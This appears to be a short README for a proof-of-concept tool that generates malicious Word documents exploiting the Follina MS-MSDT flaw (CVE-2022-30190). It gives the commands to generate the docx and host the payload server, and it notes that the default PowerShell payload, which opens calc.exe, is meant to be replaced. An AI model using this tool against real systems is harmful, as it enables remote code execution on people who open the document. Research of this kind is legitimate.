MS-MSDT Follina CVE-2022-30190 PoC document generator
# MS-MSDT Follina CVE-2022-30190 PoC
Malicious docx generator to exploit (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on [CVE-2021-40444 PoC by LockedByte](https://github.com/lockedbyte/CVE-2021-40444) and [writeup by Tothi](https://gist.github.com/tothi/66290a42896a97920055e50128c9f040)
# Using
First modify backup.html and replace powershell payload. Right now just pops a `calc.exe` using `IEX('calc.exe')`.
`python3 exploit.py generate http://<SRV IP>`

Once you generate the malicious docx (will be at `out/`) you can setup the server:
`sudo python3 exploit.py host 80`

Finally try the docx in a Windows Virtual Machine:

Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view